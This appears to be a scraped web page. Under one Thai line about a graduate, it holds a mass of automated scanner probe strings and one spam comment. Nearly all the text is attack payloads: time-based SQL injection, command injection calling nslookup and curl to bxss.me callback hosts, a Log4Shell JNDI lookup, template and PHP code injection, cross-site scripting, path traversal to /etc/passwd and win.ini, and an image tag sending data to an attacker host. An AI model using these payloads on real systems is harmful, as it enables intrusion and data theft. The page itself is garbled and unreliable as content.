คุณฐิติมา ปานศรี จบปริญญาโท ปีการศึกษา 2562

1

555

response.write(9714309*9808565)

1

1*1

(436-430-5)

|echo yygedz$()\ vmgqro\nz^xyu||a #’ |echo yygedz$()\ vmgqro\nz^xyu||a #|” |echo yygedz$()\ vmgqro\nz^xyu||a #

(select(0)from(select(sleep(15)))v)/*’+(select(0)from(select(sleep(15)))v)+'”+(select(0)from(select(sleep(15)))v)+”*/

1

;(nslookup hitzcgsdowamk7a45c.bxss.me||perl -e “gethostbyname(‘hitzcgsdowamk7a45c.bxss.me’)”)|(nslookup hitzcgsdowamk7a45c.bxss.me||perl -e “gethostbyname(‘hitzcgsdowamk7a45c.bxss.me’)”)&(nslookup hitzcgsdowamk7a45c.bxss.me||perl -e “gethostbyname(‘hitzcgsdowamk7a45c.bxss.me’)”)

1

1

1

1

82pxsj53′) OR 427=(SELECT 427 FROM PG_SLEEP(15))–

1’||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||’

1

1

1%0abcc:009247.5494-6165.5494.dc85c.19234.2@bxss.me

1

1

1

${9999086+9999236}

http://some-inexistent-website.acu/some_inexistent_file_with_long_name%3F.jpg

1&n996923=v910310

!(()&&!|*|*|

1

“.gethostbyname(lc(“hitvv”.”fzdatbrqd6908.bxss.me.”)).”A”.chr(67).chr(hex(“58″)).chr(113).chr(85).chr(112).chr(65).”

;assert(base64_decode(‘cHJpbnQobWQ1KDMxMzM3KSk7’));

${@print(md5(31337))}

1

1

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

<!–

1′”()&%5PlI(9931)

19339763

acux7250%C0%BEz1%C0%BCz2a%90bcxuca7250

\

\

<th:t="${acx}#foreach

1}}”}}’}}1%>”%>’%>

acx{{98991*97996}}xca

acx[[${98991*97996}]]xca

“acxzzzzzzzzbbbccccdddeeexca”.replace(“z”,”o”)

1UDE4L[!+!]

1%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%35%50%6C%49%28%39%30%38%30%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E

15PlI(9219)

15PlI(9914)

1″ onerror=alert(9952)>

555

555

555

555

1}body{acu:Expre/**/SSion(5PlI(9693))}

1aM4PQ
5PlI(9559)

555

echo hqguoq$()\ wnklbp\nz^xyu||a #’ &echo hqguoq$()\ wnklbp\nz^xyu||a #|” &echo hqguoq$()\ wnklbp\nz^xyu||a #

$(nslookup hitdxoycmhqxb731f8.bxss.me||perl -e “gethostbyname(‘hitdxoycmhqxb731f8.bxss.me’)”)

555

555

555

555

555
bcc:009247.5494-7056.5494.765b3.19234.2@bxss.me

555

555

555

1*555

(1545-985-5)

${9999370+9999570}

-1; waitfor delay ‘0:0:15’ —

1 waitfor delay ‘0:0:15’ —

81dezEMR’)); waitfor delay ‘0:0:15’ —

http://bxss.me/t/fit.txt?.jpg

555

taMsNjHl’)) OR 350=(SELECT 350 FROM PG_SLEEP(15))–

1′”

‘.gethostbyname(lc(‘hitlh’.’tenlzujp2fe28.bxss.me.’)).’A’.chr(67).chr(hex(’58’)).chr(115).chr(82).chr(122).chr(83).’

555

555

555

“+”A”.concat(70-3).concat(22*4).concat(104).concat(80).concat(112).concat(71)+(require”socket”
Socket.gethostbyname(“hitrs”+”rnilqsvb8dc16.bxss.me.”)[3].to_s)+”

555

wp-comments-post.php

555

/xfs.bxss.me

555

555

555

555

555

555

‘+response.write(9891218*9572642)+’

555

555

555

555

555

555

Uuw94QfS

555

|(nslookup hitmdokbhydfa8000e.bxss.me||perl -e “gethostbyname(‘hitmdokbhydfa8000e.bxss.me’)”)

555

555

555

555

555

555

555

555*895*890*0

555*128*123*0

555

../../../../../../../../../../../../../../windows/win.ini

./555

555

555

555

555

‘”()&%5jdp(9443)

5559343944

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

555

acx__${98991*97996}__::.x

5555jdp(9632)

5550VKAL[!+!]

http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg

5555jdp(9247)

555<ScRIpT>5jdp(9363)</sCrIpT>

)

555″ onerror=alert(9377)>

%35%35%35%3C%53%63%52%69%50%74%20%3E%35%6A%64%70%289027%29%3C%2F%73%43%72%69%70%54%3E

555\u003CScRiPt\5jdp(9647)\u003C/sCripT\u003E

555

555}body{acu:Expre/**/SSion(5jdp(9450))}

555LjA3g
5jdp(9303)

555

555

“+”A”.concat(70-3).concat(22*4).concat(101).concat(80).concat(100).concat(70)+(require”socket”
Socket.gethostbyname(“hitxm”+”zqvewkyf2f7c7.bxss.me.”)[3].to_s)+”

${@print(md5(31337))}\

555

555

wp-comments-post.php/.

555

‘”

555

555

555

555′”()&%Cji3(9274)

‘”()&%Cji3(9719)

555

555

555

555

response.write(9392874*9627461)

555

“+response.write(9392874*9627461)+”

555

555

12345′”\’\”);|]*{
”💡

^(#$!@#$)(()))******

echo mnjqll$()\ ircrnu\nz^xyu||a #’ &echo mnjqll$()\ ircrnu\nz^xyu||a #|” &echo mnjqll$()\ ircrnu\nz^xyu||a #

555

&echo asxltj$()\ otaexj\nz^xyu||a #’ &echo asxltj$()\ otaexj\nz^xyu||a #|” &echo asxltj$()\ otaexj\nz^xyu||a #

555

|echo ccigzz$()\ ntbogg\nz^xyu||a #’ |echo ccigzz$()\ ntbogg\nz^xyu||a #|” |echo ccigzz$()\ ntbogg\nz^xyu||a #

555

555

555

`(nslookup hiteiqusrksox73bf7.bxss.me||perl -e “gethostbyname(‘hiteiqusrksox73bf7.bxss.me’)”)`

555

;(nslookup hitgvoabihyec41eec.bxss.me||perl -e “gethostbyname(‘hitgvoabihyec41eec.bxss.me’)”)|(nslookup hitgvoabihyec41eec.bxss.me||perl -e “gethostbyname(‘hitgvoabihyec41eec.bxss.me’)”)&(nslookup hitgvoabihyec41eec.bxss.me||perl -e “gethostbyname(‘hitgvoabihyec41eec.bxss.me’)”)

555

1some_inexistent_file_with_long_name.jpg

555

555

555

555

555

bxss.me

echo tivpyc$()\ owgwqt\nz^xyu||a #’ &echo tivpyc$()\ owgwqt\nz^xyu||a #|” &echo tivpyc$()\ owgwqt\nz^xyu||a #

555

|echo oabdph$()\ lkbwhc\nz^xyu||a #’ |echo oabdph$()\ lkbwhc\nz^xyu||a #|” |echo oabdph$()\ lkbwhc\nz^xyu||a #

(nslookup hitpbtioomjrre4c23.bxss.me||perl -e “gethostbyname(‘hitpbtioomjrre4c23.bxss.me’)”)

555

&(nslookup hitottmbldwaj1232c.bxss.me||perl -e “gethostbyname(‘hitottmbldwaj1232c.bxss.me’)”)&’\”`0&(nslookup hitottmbldwaj1232c.bxss.me||perl -e “gethostbyname(‘hitottmbldwaj1232c.bxss.me’)”)&`’

555

555

555

555

555

‘;print(md5(31337));$a=’

“;print(md5(31337));$a=”

555

‘.print(md5(31337)).’

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

X1rhvGIC

555*385*380*0

555*287*282*0

555*656*651*0

0’XOR(if(now()=sysdate(),sleep(15),0))XOR’Z

(1326-766-5)

555*205*200*0

(765-205-5)

0″XOR(if(now()=sysdate(),sleep(15),0))XOR”Z

555*373*368*0

(933-373-5)

555*211*206*0

(771-211-5)

-1 OR 2+512-512-1=0+0+0+1

-1 OR 3*2<(0+5+512-512)

-1); waitfor delay ‘0:0:15’ —

if(now()=sysdate(),sleep(15),0)

iUcIooU4′; waitfor delay ‘0:0:15’ —

xCtSvMbZ’); waitfor delay ‘0:0:15’ —

tP0XM7xI’)); waitfor delay ‘0:0:15’ —

-5 OR 358=(SELECT 358 FROM PG_SLEEP(15))–

-1)); waitfor delay ‘0:0:15’ —

-5) OR 132=(SELECT 132 FROM PG_SLEEP(15))–

-1)) OR 880=(SELECT 880 FROM PG_SLEEP(15))–

gmvmvLIz’; waitfor delay ‘0:0:15’ —

7TqqAwd1′) OR 419=(SELECT 419 FROM PG_SLEEP(15))–

tUWiwXTo’)); waitfor delay ‘0:0:15’ —

i5EI4FpC’)) OR 211=(SELECT 211 FROM PG_SLEEP(15))–

-5 OR 133=(SELECT 133 FROM PG_SLEEP(15))–

-5) OR 218=(SELECT 218 FROM PG_SLEEP(15))–

@@y3WVj

nVCRqlnt’ OR 475=(SELECT 475 FROM PG_SLEEP(15))–

1l5q1VCl’) OR 440=(SELECT 440 FROM PG_SLEEP(15))–

TqZ2iaq8′)) OR 949=(SELECT 949 FROM PG_SLEEP(15))–

555’||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||’

1%2527%2522

@@leMTh

I agree with your point of view, your article has given me a lot of help and benefited me a lot. Thanks. Hope you continue to write such excellent articles.

555

555

555

555

555

wp-comments-post.php

hitkamjxswjpe.bxss.me

555

555

555

file:///etc/passwd

../555

555

555

555′>”>

“+response.write(9369636*9512436)+”

/../../../../../../../../../../windows/system32/BITSADMIN.exe

555

555

555

555

555

555

555

555

555

555

&echo agkkat$()\ fcfwpw\nz^xyu||a #’ &echo agkkat$()\ fcfwpw\nz^xyu||a #|” &echo agkkat$()\ fcfwpw\nz^xyu||a #

1*555

(nslookup -q=cname hitvmephrorslf4193.bxss.me||curl hitvmephrorslf4193.bxss.me))

‘+str(__import__(“time”).sleep(9))+__import__(“socket”).gethostbyname(“hiteoijaafkxn3ee97.”+”bxss.me”)+’

$(nslookup -q=cname hituaicvgltzp284db.bxss.me||curl hituaicvgltzp284db.bxss.me)

555

555

|(nslookup -q=cname hiteymvlyeoyqf61a5.bxss.me||curl hiteymvlyeoyqf61a5.bxss.me)

-1 OR 2+815-815-1=0+0+0+1

-1 OR 3+815-815-1=0+0+0+1

if(now()=sysdate(),sleep(15),0)

555″&&sleep(27*1000)*kytmft&&”

(select(0)from(select(sleep(15)))v)/*’+(select(0)from(select(sleep(15)))v)+'”+(select(0)from(select(sleep(15)))v)+”*/

-1; waitfor delay ‘0:0:15’ —

555

555

555

-5 OR 677=(SELECT 677 FROM PG_SLEEP(15))–

‘;print(md5(31337));$a=’

-1)) OR 10=(SELECT 10 FROM PG_SLEEP(15))–

${@print(md5(31337))}\

555

‘”

<!–

555’||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||’

555′”()&%hmdR(9451)

‘”()&%hmdR(9527)

@@b5czb

5559457087

bfg3887＜s1﹥s2ʺs3ʹhjl3887

bfgx1615z1z2abcxhjl1615

555

555

555

http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg

http://bxss.me/t/fit.txt?.jpg

dfb[[${98991*97996}]]xca

dfb__${98991*97996}__::.x

“dfbzzzzzzzzbbbccccdddeeexca”.replace(“z”,”o”)

555hmdR(9148)

55558V6Y[!+!]

555hmdR(9906)

555<ScRIpT>hmdR(9091)</sCrIpT>

555hmdR(9081)

555hmdR(9874)

555″ onerror=alert(9754)>

%35%35%35%3C%53%63%52%69%50%74%20%3E%68%6D%64%52%289529%29%3C%2F%73%43%72%69%70%54%3E

555\u003CScRiPt\hmdR(9657)\u003C/sCripT\u003E

555<ScRiPt>hmdR(9755)</sCripT>

555

555

555}body{zzz:Expre/**/SSion(hmdR(9532))}

555

555

http://hitrozhvddnfb.bxss.me/

hitrozhvddnfb.bxss.me

555

555

../../../../../../../../../../../../../../etc/passwd

💡'”><&;|${${lower:j}${::-n}d${upper:ı}:dns${::-:}//hitfsnonxgpci57212${::-.}bxss.me}AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

555

response.write(9023949*9828915)

555

555

555

555

555

555

555
bcc:074625.1494-5297.1494.2548a.19426.2@bxss.me

555

&echo vejevg$()\ qctbiw\nz^xyu||a #’ &echo vejevg$()\ qctbiw\nz^xyu||a #|” &echo vejevg$()\ qctbiw\nz^xyu||a #

$(nslookup -q=cname hithuxulfzbvod3d89.bxss.me||curl hithuxulfzbvod3d89.bxss.me)

)

!(()&&!|*|*|

555

555

‘”()

555″&&sleep(27*1000)*qstpos&&”

555’||sleep(27*1000)*dzpjql||’

FWvO9jd6

555*105*100*0

555

555*940*935*0

;assert(base64_decode(‘cHJpbnQobWQ1KDMxMzM3KSk7’));

(726-166-5)

${@print(md5(31337))}

(1018-458-5)

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

0’XOR(if(now()=sysdate(),sleep(15),0))XOR’Z

555

-1); waitfor delay ‘0:0:15’ —

555

qBGLJOUV’; waitfor delay ‘0:0:15’ —

rOlj3uwe’); waitfor delay ‘0:0:15’ —

U4ZZpT97′)); waitfor delay ‘0:0:15’ —

-5 OR 102=(SELECT 102 FROM PG_SLEEP(15))–

555

-1)) OR 718=(SELECT 718 FROM PG_SLEEP(15))–

50aCsY5Z’ OR 846=(SELECT 846 FROM PG_SLEEP(15))–

EbMbAWvV’) OR 572=(SELECT 572 FROM PG_SLEEP(15))–

O5VgjucA’)) OR 819=(SELECT 819 FROM PG_SLEEP(15))–

555

http://bxss.me/t/fit.txt

@@km8jP

bxss.me

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555′”()&%i8FE(9337)

‘”()&%i8FE(9377)

5559868005

bfg6416＜s1﹥s2ʺs3ʹhjl6416

bfgx5626z1z2abcxhjl5626

<th:t="${dfb}#foreach

1}}”}}’}}1%>”%>’%>

dfb{{98991*97996}}xca

555i8FE(9126)

5556PA7Q[!+!]

555i8FE(9702)

555i8FE(9472)

555i8FE(9253)

555″ onerror=alert(9941)>

%35%35%35%3C%53%63%52%69%50%74%20%3E%69%38%46%45%289737%29%3C%2F%73%43%72%69%70%54%3E

555\u003CScRiPt\i8FE(9635)\u003C/sCripT\u003E

555<ScRiPt>i8FE(9373)</sCripT>

555}body{zzz:Expre/**/SSion(i8FE(9148))}

555iqysm
i8FE(9738)

555AIBYV[!+!]

555<img sRc='http://attacker-9103/log.php?

555<aOxFwrH<

555